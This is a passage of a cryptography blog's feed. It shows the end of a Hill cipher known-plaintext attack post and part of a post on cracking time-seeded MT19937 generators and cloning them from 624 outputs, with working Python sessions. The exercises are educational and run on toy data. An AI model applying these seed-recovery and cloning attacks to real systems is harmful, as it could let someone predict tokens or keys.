&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;K&lt;/span&gt;
&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;([[&lt;/span&gt;  &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="mi"&gt;67&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
       &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;123&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;161&lt;/span&gt;&lt;span class="p"&gt;]])&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;K&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="kc"&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="decrypt-the-plaintext"&gt;Decrypt the plaintext&lt;/h3&gt;
&lt;p&gt;To decrypt the ciphertext we need the inverse of \(K\) in \((\textrm{mod } m)\)&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;iK&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;inv_matrix&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;K&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;iK&lt;/span&gt;
&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;([[&lt;/span&gt; &lt;span class="mi"&gt;95&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
       &lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="mi"&gt;88&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;191&lt;/span&gt;&lt;span class="p"&gt;]])&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;iK&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;P&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;all&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="kc"&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Finally:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;cblocks&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;nblocks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;cblk&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;cblocks&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;ci&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cblk&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;reshape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;pi&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;np&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;iK&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ci&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;m&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pi&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ravel&lt;/span&gt;&lt;span class="p"&gt;())))&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plaintext&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;           &lt;span class="c1"&gt;# byexample: +norm-ws&lt;/span&gt;
&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;The Hill cipher is a polygraphic substitution cipher based on linear&lt;/span&gt;
  &lt;span class="n"&gt;algebra&lt;/span&gt; &lt;span class="n"&gt;invented&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="n"&gt;Lester&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;Hill&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="mf"&gt;1929.&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;From&lt;/span&gt; &lt;span class="n"&gt;Wikipedia&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="beyond-a-known-plaintext-attack-open-questions"&gt;Beyond a known plaintext attack (open questions)&lt;/h2&gt;
&lt;p&gt;Some open questions for a future post:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;How to determinate the block length &lt;code&gt;n&lt;/code&gt;?&lt;/li&gt;
&lt;li&gt;And the module &lt;code&gt;m&lt;/code&gt;?&lt;/li&gt;
&lt;li&gt;Beyond a linear polynomial: what about a cipher using a polynomial of order &lt;code&gt;q&lt;/code&gt;?&lt;/li&gt;
&lt;li&gt;If no known plaintext exists, how we can &lt;em&gt;guess&lt;/em&gt; one?&lt;/li&gt;
&lt;li&gt;May be a &lt;em&gt;differential&lt;/em&gt; attack?&lt;/li&gt;
&lt;/ul&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2019/01/02/Break-Hill-Cipher-with-a-Known-Plaintext-Attack.html" rel="alternate" type="text/html" title="Break Hill Cipher with a Known Plaintext Attack"/>
    <category term="cryptography" label="cryptography"/>
    <category term="cryptonita" label="cryptonita"/>
    <category term="hill cipher" label="hill cipher"/>
    <published>2019-01-02T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2018/12/23/Mersenne-Twister-PRNG.html</id>
    <title>Breaking MT19937 Crypto</title>
    <updated>2018-12-23T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;The Mersenne-Twister 19937 or just MT19937 is one of the most used pseudo random number generator with a quite large cycle length and with a nice random quality.&lt;/p&gt;
&lt;p&gt;However it was not designed to be used for crypto.&lt;/p&gt;
&lt;p&gt;&lt;label for='KiotLSBTcG9pbGVyIEFsZXJ0ISAtLSoqbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='KiotLSBTcG9pbGVyIEFsZXJ0ISAtLSoqbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;strong&gt;– Spoiler Alert! –&lt;/strong&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;But some folks may not know this…&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="warming-up"&gt;Warming up&lt;/h2&gt;
&lt;p&gt;Before anything, let’s &lt;a href="https://cryptopals.com/sets/3/challenges/21"&gt;implement the MT19937 Mersenne Twister RNG&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;For testing, I’m going to use the following &lt;a href="https://gist.githubusercontent.com/mimoo/8e5d80a2e236b8b6f5ed/raw/20a704e0ccb3d50ea574cf6fe81fcb07cd9a66a3/gistfile1.txt"&gt;test vector&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.attacks.prng&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;MT19937&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;posts/matasano/assets/MT19937.vector&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;rt&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;seed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;readline&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;expected_rnd_seq&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;g&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;iter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MT19937&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;seed&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;gen_rnd_seq&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;next&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;expected_rnd_seq&lt;/span&gt;&lt;span class="p"&gt;))]&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;expected_rnd_seq&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;gen_rnd_seq&lt;/span&gt;
&lt;span class="kc"&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="cracking-seed-space-exploration"&gt;Cracking (seed space exploration)&lt;/h2&gt;
&lt;p&gt;It is quite common to find people that use the current time as their &lt;em&gt;secret&lt;/em&gt; seed for the generator.&lt;/p&gt;
&lt;p&gt;Some even say &lt;em&gt;“but I’m using 64 bits with microsecond resolution so it will impossible to find it by brute force”&lt;/em&gt;&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;time&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;secret_seed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;next&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;iter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MT19937&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;secret_seed&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Exploring 64 bits is quite hard but the seed is &lt;strong&gt;not random&lt;/strong&gt;, therefore we do not need to explore the &lt;em&gt;whole space&lt;/em&gt; but a &lt;strong&gt;smaller space&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Instead we just explore the numbers in the vicinity of the current time that turns the &lt;a href="https://cryptopals.com/sets/3/challenges/22"&gt;crack an MT19937 seed&lt;/a&gt; into a much simpler task.&lt;/p&gt;
&lt;p&gt;First, assuming that we known the first output of the PRNG, we build an oracle function to tell if we have found or not the secret seed.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;functools&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;partial&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;MT19937_oracle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;seed&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;first_known_output&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;g&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;iter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MT19937&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;seed&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;next&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;first_known_output&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;oracle&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;partial&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MT19937_oracle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;first_known_output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then, it just rest to test the seed space starting from an &lt;em&gt;educated guess&lt;/em&gt; for the secret seed.&lt;/p&gt;
&lt;p&gt;For example we could guess that the seed is between 2048 seconds ago and 2 times that in the future.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;delta&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2048&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;delta&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;stop&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;delta&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now we test each possible seed in that range. &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;search&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is a handy function for the testing and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;IntSpace&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; defines a search space with some heuristics like yielding first the numbers in the middle of the range before in the extremes.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.space&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;IntSpace&lt;/span&gt; &lt;span class="c1"&gt;# byexample: +timeout=10&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.attacks&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;search&lt;/span&gt;    &lt;span class="c1"&gt;# byexample: +timeout=10&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;space&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;IntSpace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;stop&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;middle&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;space&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;oracle&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;secret_seed&lt;/span&gt;      &lt;span class="c1"&gt;# byexample: +timeout=10&lt;/span&gt;
&lt;span class="kc"&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Gotcha!&lt;/p&gt;
&lt;h2 id="cloning"&gt;Cloning&lt;/h2&gt;
&lt;p&gt;&lt;label for='CkZvcm1hbGx5LCB0aGVyZSBpcyBub3Qgc3VjaCBlZmZpY2llbnQgYWxnb3JpdGhtIHRoYXQgYWxsb3cgYW4gYXR0YWNrCnRvIGRpc3Rpbmd1aXNoIGV2ZW4gd2l0aCBhIHNtYWxsIHByb2JhYmlsaXR5IGZvciBsYXJnZSBidXQgZmluaXRlCnNlcXVlbmNlcy4gRXZlbnR1YWxseSB3aXRoIGEgKnJlYWxseSBsYXJnZSogc2VxdWVuY2VzIHRoZSBhdHRhY2tlciBtYXkKYnJlYWsgaXQuCm1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkZvcm1hbGx5LCB0aGVyZSBpcyBub3Qgc3VjaCBlZmZpY2llbnQgYWxnb3JpdGhtIHRoYXQgYWxsb3cgYW4gYXR0YWNrCnRvIGRpc3Rpbmd1aXNoIGV2ZW4gd2l0aCBhIHNtYWxsIHByb2JhYmlsaXR5IGZvciBsYXJnZSBidXQgZmluaXRlCnNlcXVlbmNlcy4gRXZlbnR1YWxseSB3aXRoIGEgKnJlYWxseSBsYXJnZSogc2VxdWVuY2VzIHRoZSBhdHRhY2tlciBtYXkKYnJlYWsgaXQuCm1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Formally, there is not such efficient algorithm that allow an attack to distinguish even with a small probability for large but finite sequences. Eventually with a &lt;em&gt;really large&lt;/em&gt; sequences the attacker may break it.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;A property that all PRNG cryptographically secure must hold is that even if the attacker knows the partial output of the PRNG he cannot distinguish it from a truly random sequence.&lt;/p&gt;
&lt;p&gt;In particular he cannot predict any future output.&lt;/p&gt;
&lt;p&gt;The MT19937 does not hold this and it is possible to &lt;a href="https://cryptopals.com/sets/3/challenges/23"&gt;clone an MT19937 RNG from its output&lt;/a&gt; allowing an attacker to predict any future value:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.attacks.prng&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;clone_mt19937&lt;/span&gt;               &lt;span class="c1"&gt;# byexample: +timeout=10&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;g&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;iter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MT19937&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;secret_seed&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;next&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;624&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;

